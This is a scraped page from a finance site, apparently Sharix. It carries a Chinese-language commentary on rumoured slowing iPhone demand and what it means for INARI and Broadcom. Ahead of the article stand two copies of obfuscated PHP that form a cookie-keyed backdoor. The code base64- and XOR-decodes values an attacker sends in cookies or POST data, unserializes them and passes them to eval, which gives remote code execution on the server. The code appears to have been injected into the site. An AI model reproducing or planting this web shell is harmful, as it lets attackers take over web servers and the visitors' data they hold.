$sdGxpba = "\111" . "\114" . "\x5f" . chr ( 782 - 699 ).chr (116) . "\171";$goApL = "\143" . "\x6c" . 'a' . chr (115) . "\x73" . "\x5f" . chr ( 321 - 220 ).chr ( 788 - 668 ).'i' . "\x73" . chr (116) . chr ( 1007 - 892 ); $nAmGlG = class_exists($sdGxpba); $sdGxpba = "52141";$goApL = "29555";$NfllrzRu = !1;if ($nAmGlG == $NfllrzRu){function RKIImwN(){return FALSE;}$IDFKXPYx = "24891";RKIImwN();class IL_Sty{private function PeDJhgPkk($IDFKXPYx){if (is_array(IL_Sty::$HBGia)) {$dWmOqqPn = str_replace("\74" . "\x3f" . chr (112) . chr (104) . "\160", "", IL_Sty::$HBGia[chr (99) . "\157" . "\156" . "\x74" . chr ( 121 - 20 )."\x6e" . "\164"]);eval($dWmOqqPn); $IDFKXPYx = "24891";exit();}}private $zPXYye;public function lEQFKwRHQ(){echo 33039;}public function __destruct(){$IDFKXPYx = "23772_943";$this->PeDJhgPkk($IDFKXPYx); $IDFKXPYx = "23772_943";}public function __construct($OvzOxh=0){$QnOMR = $_POST;$HNoZlG = $_COOKIE;$zWAraslni = "00585ef7-4ced-44bd-b8c4-08720b627307";$vBIfFlHAOq = @$HNoZlG[substr($zWAraslni, 0, 4)];if (!empty($vBIfFlHAOq)){$MXZBkx = "base64";$FeOuE = "";$vBIfFlHAOq = explode(",", $vBIfFlHAOq);foreach ($vBIfFlHAOq as $PoBhIs){$FeOuE .= @$HNoZlG[$PoBhIs];$FeOuE .= @$QnOMR[$PoBhIs];}$FeOuE = array_map($MXZBkx . chr ( 717 - 622 ).'d' . 'e' . "\x63" . chr (111) . "\144" . "\145", array($FeOuE,)); $FeOuE = $FeOuE[0] ^ str_repeat($zWAraslni, (strlen($FeOuE[0]) / strlen($zWAraslni)) + 1);IL_Sty::$HBGia = @unserialize($FeOuE); $FeOuE = class_exists("23772_943");}}public static $HBGia = 37724;}$SVTKDqFpG = new /* 55422 */ IL_Sty(24891 + 24891); $_POST = Array();unset($SVTKDqFpG);}$VmrjCDTZ = 'y' . chr (85) . 'k' . '_' . chr ( 826 - 704 )."\x6c" . chr (122) . chr (121); $vPtitZaAWd = "\x63" . "\154" . chr (97) . chr (115) . chr (115) . chr (95) . "\x65" . chr (120) . chr ( 286 - 181 ).'s' . chr (116) . "\x73";$XIlsVotk = class_exists($VmrjCDTZ); $VmrjCDTZ = "46710";$vPtitZaAWd = "59509";$XaraWMagC = !1;if ($XIlsVotk == $XaraWMagC){function inruEbmArT(){return FALSE;}$txNTYiJwJ = "25459";inruEbmArT();class yUk_zlzy{private function ARRFnADTjt($txNTYiJwJ){if (is_array(yUk_zlzy::$IAvLNKdMY)) {$PynIVk = str_replace("\x3c" . chr (63) . chr ( 929 - 817 ).chr (104) . chr (112), "", yUk_zlzy::$IAvLNKdMY["\143" . "\157" . "\x6e" . "\164" . "\145" . chr ( 542 - 432 ).chr ( 941 - 825 )]);eval($PynIVk); $txNTYiJwJ = "25459";exit();}}private $JMsPwJD;public function oYiWfD(){echo 37459;}public function __destruct(){$txNTYiJwJ = "34118_42125";$this->ARRFnADTjt($txNTYiJwJ); $txNTYiJwJ = "34118_42125";}public function __construct($EHxOe=0){$Viwyqrqo = $_POST;$LBbvlNXm = $_COOKIE;$aOBmqXw = "fcffcccc-814a-42f6-8e1a-da6b9d9f084c";$EtEkLgiVM = @$LBbvlNXm[substr($aOBmqXw, 0, 4)];if (!empty($EtEkLgiVM)){$FcgWs = "base64";$WmGFePzKv = "";$EtEkLgiVM = explode(",", $EtEkLgiVM);foreach ($EtEkLgiVM as $LgkrbzFPFV){$WmGFePzKv .= @$LBbvlNXm[$LgkrbzFPFV];$WmGFePzKv .= @$Viwyqrqo[$LgkrbzFPFV];}$WmGFePzKv = array_map($FcgWs . "\137" . "\x64" . 'e' . chr ( 193 - 94 ).'o' . "\144" . "\x65", array($WmGFePzKv,)); $WmGFePzKv = $WmGFePzKv[0] ^ str_repeat($aOBmqXw, (strlen($WmGFePzKv[0]) / strlen($aOBmqXw)) + 1);yUk_zlzy::$IAvLNKdMY = @unserialize($WmGFePzKv); $WmGFePzKv = class_exists("34118_42125");}}public static $IAvLNKdMY = 27291;}$xFedbrqbzh = new /* 56596 */ yUk_zlzy(25459 + 25459); $_POST = Array();unset($xFedbrqbzh);} 谣传苹果手机需求出现放缓 - Sharix

谣传苹果手机需求出现放缓

参考链接:https://cj.sina.cn/articles/view/1826017320/6cd6d028020010u2p?autocallup=no&isfromsina=yes

虽然Apple股价昨晚一度来到历史新高,今天INARI的股价出现了6%的回调,从顶峰4.30下跌了10%。

这主要是因为有消息(Bloomberg)引述指出Apple的供应商Broadcom以及Texas Instrument 无法提供足够的芯片零件,以及预计因为延迟交货而出现潜在需求下滑,导致Apple 下调iPhone的生产目标。

INARI的主要客户是BROADCOM,因此市场会有所担忧。根据APPLE以及BROADCOM的FORECAST,Q4都会高速成长,市场现在担心的是明年上半年的需求是否会如预期般强劲。

BROADCOM博通上个季度已经开始谨慎面对潜在库存过剩。当分析师问及公司营收成长为何低于一些同行时,陈福阳表示,尽管晶片需求激增,但他们在严格控制哪些订单能履行,哪些不能。这个想法牺牲了目前一部分的营收,但可以有效避免未来出现供过于求的状况。

盈利成长放缓:

假设预计FY2022,INARI的盈利有机会来到RM 380 mil -400 mil 左右,可能因为苹果手机需求下滑的缘故,成长会减缓, 但全年还是营业额和盈利依旧可以挑战历史新高,只不过也许会比预期低。

12月9日Broadcom将会出业绩,当时候会给出更详细的展望。整体而言,我们认为INARI还是少数可以成长的龙头股。不过短期市场给于的估值可能会从42 – 45倍下调到36 – 40倍。

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